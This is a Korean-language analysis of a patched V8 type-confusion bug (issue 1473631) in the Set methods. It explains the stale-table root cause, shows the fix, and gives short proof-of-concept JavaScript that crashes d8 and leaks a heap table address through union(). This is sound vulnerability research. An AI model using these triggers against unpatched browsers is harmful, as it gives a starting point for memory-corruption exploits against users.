Issue 1473631 (Type Confusion in Harmony Set Methods)

Environment Setting

# install depot_tools
cd ~
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=$HOME/depot_tools:$PATH
echo -e '\nexport PATH=$HOME/depot_tools:$PATH' >> ~/.zshrc

# get V8
cd ~
mkdir V8
cd V8
fetch v8
cd v8
git checkout f118dd45b7cde0d320e022068f0e98dbc53b2ba9
gclient sync -D

# build V8
./build/install-build-deps.sh
gn gen out/debug --args='v8_no_inline=true v8_optimized_debug=false is_component_build=false'
ninja -C out/debug d8
./tools/dev/gm.py x64.release

# build torque language server
autoninja -C out/x64.release torque-language-server

# install gdb plugin
echo -e '\nsource ~/V8/v8/tools/gdbinit' >> ~/.gdbinit

Prerequisite Knowledge

JavaScript ES6 Harmony

ES(ECMAScript)는 JavaScript, JScript, ActionScript 등의 scripting language의 표준으로, 국제 표준화 기구 Ecma International (former: European Computer Manufacturers Association)에서 ECMA-262라는 이름으로 관리하고 있습니다.

ECMA-262는 1997년 6월에 1st edition이 출판되었으며, 2015년(6th edition)부터는 지속적으로 매년 6월마다 출판되고 있습니다. 6th edition부터는 ES 뒤에 출판 연도나 edition 번호를 붙여서 ES2015 또는 ES6의 형식으로 명명합니다.

https://ecma-international.org/news/ecma-international-approves-major-revision-of-ecmascript/

The last major revision of the ECMAScript standard was the Third Edition, published in 1999. After completion of the Third Edition, significant work was done to develop a Fourth Edition. Although development of a Fourth Edition was not completed, that work influenced ECMAScript, Fifth Edition and is continuing to influence the ongoing development of ECMAScript. Work on future ECMAScript editions continues as part of the previously announced ECMAScript Harmony project.

5th edition이 출판된 후, 미래의 ES edition들에 관한 작업이 ECMAScript Harmony project라는 이름으로 지속되었으며, 이에 따라 ES2015는 특별히 ES6 Harmony라고도 불립니다.

Harmony의 feature들은 현재까지도 V8에 완전히 구현되지 않은 상태라서 default feature가 아니며, 관련된 flag를 활성화해야 사용할 수 있습니다.

Chrome에서는 chrome://flags에 접속하여 Experimental JavaScript를 Enabled로 설정한 후 Chrome을 재시작하면 Harmony의 feature들을 사용할 수 있습니다.

Set

Set은 JavaScript에서 집합을 표현하는 class입니다.

집합은 서로 다른 대상들의 모임입니다. Set에도 마찬가지로 unique한 값들만 들어갈 수 있습니다.

Set의 element들은 OrderedHashSet object에 저장됩니다.

/* src/objects/ordered-hash-table.h */

// OrderedHashTable is a HashTable with Object keys that preserves
// insertion order. There are Map and Set interfaces (OrderedHashMap
// and OrderedHashTable, below). It is meant to be used by JSMap/JSSet.
//
// Only Object keys are supported, with Object::SameValueZero() used as the
// equality operator and Object::GetHash() for the hash function.
//
// Based on the "Deterministic Hash Table" as described by Jason Orendorff at
// https://wiki.mozilla.org/User:Jorend/Deterministic_hash_tables
// Originally attributed to Tyler Close.
//
// Memory layout:
//   [0] : Prefix
//   [kPrefixSize]: element count
//   [kPrefixSize + 1]: deleted element count
//   [kPrefixSize + 2]: bucket count
//   [kPrefixSize + 3..(kPrefixSize + 3 + NumberOfBuckets() - 1)]: "hash table",
//                            where each item is an offset into the
//                            data table (see below) where the first
//                            item in this bucket is stored.
//   [kPrefixSize + 3 + NumberOfBuckets()..length]: "data table", an
//                            array of length Capacity() * kEntrySize,
//                            where the first entrysize items are
//                            handled by the derived class and the
//                            item at kChainOffset is another entry
//                            into the data table indicating the next
//                            entry in this hash bucket.
//
// When we transition the table to a new version we obsolete it and reuse parts
// of the memory to store information how to transition an iterator to the new
// table:
//
// Memory layout for obsolete table:
//   [0] : Prefix
//   [kPrefixSize + 0]: Next newer table
//   [kPrefixSize + 1]: deleted element count or kClearedTableSentinel if
//                      the table was cleared
//   [kPrefixSize + 2]: bucket count
//   [kPrefixSize + 3..(kPrefixSize + 3 + NumberOfDeletedElements() - 1)]:
//                      The indexes of the removed holes. This part is only
//                      usable for non-cleared tables, as clearing removes the
//                      deleted elements count.
//   [kPrefixSize + 3 + NumberOfDeletedElements()..length]: Not used

두 Set의 관계성을 표현하는 method들은 7가지가 있습니다.

[set-methods] Add feature flag and union method (2023.05.30.)

[set-methods] Add intersection to set methods (2023.06.14.)

[set-methods] Add difference to set methods (2023.06.22.)

[set-methods] Add symmetricDifference (2023.06.28.)

[set-methods] Add isSubsetOf method (2023.07.26.)

[set-methods] Add isSupersetOf method (2023.07.28.)

[set-methods] Add isDisjointFrom to set methods (2023.08.01.)

Analysis

Bug

모든 Set method들은 공통적으로 다음의 코드로 시작합니다.

/* src/builtins/set-intersection.tq */

// https://tc39.es/proposal-set-methods/#sec-set.prototype.intersection
transitioning javascript builtin SetPrototypeIntersection(
    js-implicit context: NativeContext, receiver: JSAny)(other: JSAny): JSSet {
  const methodName: constexpr string = 'Set.prototype.intersection';
  const fastIteratorResultMap = GetIteratorResultMap();

  // 1. Let O be the this value.
  // 2. Perform ? RequireInternalSlot(O, [[SetData]]).
  const o = Cast<JSSet>(receiver) otherwise
  ThrowTypeError(
      MessageTemplate::kIncompatibleMethodReceiver, methodName, receiver);

  const table = Cast<OrderedHashSet>(o.table) otherwise unreachable;

  // 3. Let otherRec be ? GetSetRecord(other).
  let otherRec = GetSetRecord(other, methodName);
...

receiver는 method를 호출한 주체이고, other는 method에 전달된 인자입니다. 위의 코드는 receiver의 table을 가져와서 table에 저장하고, other의 Set record를 가져와서 otherRec에 저장합니다.

/* src/builtins/collections.tq */

// https://tc39.es/proposal-set-methods/#sec-getsetrecord
transitioning macro GetSetRecord(implicit context: Context)(
    obj: JSAny, methodName: constexpr string): SetRecord {
  // 1. If obj is not an Object, throw a TypeError exception.
  const obj = Cast<JSReceiver>(obj)
      otherwise ThrowTypeError(MessageTemplate::kArgumentIsNonObject, methodName);

  // 2. Let rawSize be ? Get(obj, "size").
  const rawSize = GetProperty(obj, kSizeString);
...

Set record의 구성 요소들 중 size를 가져올 때 obj(other)의 size property에 접근합니다. other의 size property를 getter로 재정의하면 GetSetRecord()가 실행 중인 시점에 임의의 JS 코드가 실행되도록 할 수 있습니다.

let a = new Set();
let b = new Set();

Object.defineProperty(b, 'size', {
    get: () => {
        console.log('getter');
        return 0; // |b.size| must be a number
    }
});

a.intersection(b);

OrderedHashSet은 OrderedHashTable을 상속받은 class이기 때문에 hash table의 형태로 element들을 저장합니다. Element들의 개수(elements)가 capacity를 초과할 경우 rehash가 진행되어 capacity가 증가한 table을 새로 할당합니다.

또는, clear() method로 Set을 초기화할 경우 빈 table을 새로 할당합니다.

이렇게 table이 새로 할당되면 기존의 table의 메모리에 변화가 생깁니다.

/* src/objects/ordered-hash-table.h */

  void SetNextTable(Derived next_table) { set(NextTableIndex(), next_table); }

/* src/objects/ordered-hash-table.cc */

template <class Derived, int entrysize>
Handle<Derived> OrderedHashTable<Derived, entrysize>::Clear(
    Isolate* isolate, Handle<Derived> table) {
...
  Handle<Derived> new_table =
      Allocate(isolate, kInitialCapacity, allocation_type).ToHandleChecked();

  if (table->NumberOfBuckets() > 0) {
    // Don't try to modify the empty canonical table which lives in RO space.
    table->SetNextTable(*new_table);
    table->SetNumberOfDeletedElements(kClearedTableSentinel);
  }
...
}

/* src/objects/ordered-hash-table.cc */

template <class Derived, int entrysize>
MaybeHandle<Derived> OrderedHashTable<Derived, entrysize>::Rehash(
    Isolate* isolate, Handle<Derived> table, int new_capacity) {
...
  if (table->NumberOfBuckets() > 0) {
    // Don't try to modify the empty canonical table which lives in RO space.
    table->SetNextTable(*new_table);
  }
...
}

table->SetNextTable()이 호출되어 Element들의 개수가 저장된 elements 필드에 새로 할당된 table의 주소가 들어갑니다.

돌아가서, 다시 Set method의 코드를 보면,

/* src/builtins/set-intersection.tq */

// https://tc39.es/proposal-set-methods/#sec-set.prototype.intersection
transitioning javascript builtin SetPrototypeIntersection(
    js-implicit context: NativeContext, receiver: JSAny)(other: JSAny): JSSet {
...
  const table = Cast<OrderedHashSet>(o.table) otherwise unreachable;

  // 3. Let otherRec be ? GetSetRecord(other).
  let otherRec = GetSetRecord(other, methodName);
...

receiver의 table을 가져온 후에 GetSetRecord()를 호출하는데, 만약 getter 내부에서 receiver의 table이 재할당될 경우 table 변수에는 기존의 table이 그대로 남아있게 됩니다.

/* src/builtins/set-intersection.tq */

// https://tc39.es/proposal-set-methods/#sec-set.prototype.intersection
transitioning javascript builtin SetPrototypeIntersection(
    js-implicit context: NativeContext, receiver: JSAny)(other: JSAny): JSSet {
...
  // 5. Let thisSize be the number of elements in O.[[SetData]].
  const thisSize =
      LoadOrderedHashTableMetadata(table, kOrderedHashSetNumberOfElementsIndex);
...

이후에 receiver의 size를 가져와서 thisSize에 저장하는데, 이때 table의 elements 필드의 값을 가져옵니다. 이 값은 실제로는 receiver의 size가 아니라 새로 할당된 table의 주소일 것이므로, type confusion이 발생하게 됩니다.

Patch

패치에서는 모든 Set method들에서 table을 가져오는 코드를 GetSetRecord() 호출 이후로 옮겨서 버그를 제거하였습니다.

diff --git a/src/builtins/set-intersection.tq b/src/builtins/set-intersection.tq
index 59dc336..76284b6 100644
--- a/src/builtins/set-intersection.tq
+++ b/src/builtins/set-intersection.tq
@@ -16,11 +16,11 @@
   ThrowTypeError(
       MessageTemplate::kIncompatibleMethodReceiver, methodName, receiver);

-  const table = Cast<OrderedHashSet>(o.table) otherwise unreachable;
-
   // 3. Let otherRec be ? GetSetRecord(other).
   let otherRec = GetSetRecord(other, methodName);

+  const table = Cast<OrderedHashSet>(o.table) otherwise unreachable;
+
   // 4. Let resultSetData be a new empty List.
   let resultSetData = AllocateOrderedHashSet();

Proof of Concept

let a = new Set();
let b = new Set();

Object.defineProperty(b, 'size', {
    get: () => {
        a.clear();
        return 0; // |b.size| must be a number
    }
});

a.intersection(b);
// a.difference(b);
// a.symmetricDifference(b);
// a.isSubsetOf(b);
// a.isSupersetOf(b);
// a.isDisjointFrom(b);

union()을 제외한 6개의 method들에서는 crash가 발생합니다.

union()의 경우,

/* src/builtins/set-union.tq */

// https://tc39.es/proposal-set-methods/#sec-set.prototype.union
transitioning javascript builtin SetPrototypeUnion(
    js-implicit context: NativeContext, receiver: JSAny)(other: JSAny): JSSet {
...
  // 5. Let resultSetData be a copy of O.[[SetData]].
  let resultSetData = Cast<OrderedHashSet>(CloneFixedArray(
      table, ExtractFixedArrayFlag::kFixedArrays)) otherwise unreachable;

  try {
    typeswitch (other) {
      case (otherSet: JSSetWithNoCustomIteration): {
...
        while (true) {
          const nextValue = otherIterator.Next() otherwise Done;
          resultSetData = AddToSetTable(resultSetData, nextValue, methodName);
        }
      }
      case (otherMap: JSMapWithNoCustomIteration): {
        CheckSetRecordHasJSMapMethods(otherRec) otherwise SlowPath;
...
        while (true) {
          const nextValue = otherIterator.Next() otherwise Done;
          resultSetData =
              AddToSetTable(resultSetData, nextValue.key, methodName);
        }
      }
      case (JSAny): {
        goto SlowPath;
      }
    }
  } label SlowPath {
...
    // 7. Repeat, while next is not false,
    while (true) {
      //  a. Set next to ? IteratorStep(keysIter).
      nextRecord = iterator::IteratorStep(keysIter, fastIteratorResultMap)
          otherwise Done;

      //  b. If next is not false, then
      //      i. Let nextValue be ? IteratorValue(next).
      const nextValue =
          iterator::IteratorValue(nextRecord, fastIteratorResultMap);

      //      ii. If nextValue is -0𝔽, set nextValue to +0𝔽.
      //      iii. If SetDataHas(resultSetData, nextValue) is false, then
      //          1. Append nextValue to resultSetData.
      resultSetData = AddToSetTable(resultSetData, nextValue, methodName);
    }
  } label Done {
...
  }
  unreachable;
}

Method가 반환할 resultSetData에 기존 table을 넣은 후 other의 element들을 하나씩 추가하는 순서로 처리하는데, other에 element가 한 개라도 존재하면 추가하는 과정에서 table의 elements 필드에 접근하게 되어 crash가 발생합니다.

let a = new Set();
let b = new Set([0]);

Object.defineProperty(b, 'size', {
    get: () => {
        a.clear();
        return 0; // |b.size| must be a number
    }
});

let u = a.union(b);

other이 비어 있는 Set일 경우, union()이 반환한 u의 table은 clear() 이전의 table이기 때문에, u의 size에 접근하면 table의 elements 필드의 값, 즉 새로 할당된 table의 주소를 그대로 가져오게 됩니다.

let a = new Set();
let b = new Set();

Object.defineProperty(b, 'size', {
    get: () => {
        a.clear();
        return 0; // |b.size| must be a number
    }
});

let u = a.union(b);
% DebugPrint(u.size);

References

• Issue 1473631: Security: CSA_DCHECK failed: Torque assert 'Is<A>(o)' failed - crbug
• [set-methods]Getting other before receiver's table - V8 git
• ECMA스크립트 - Wikipedia
• ECMA-262 - Ecma International
• Ecma International approves major revision of ECMAScript - Ecma International
• Set - MDN web docs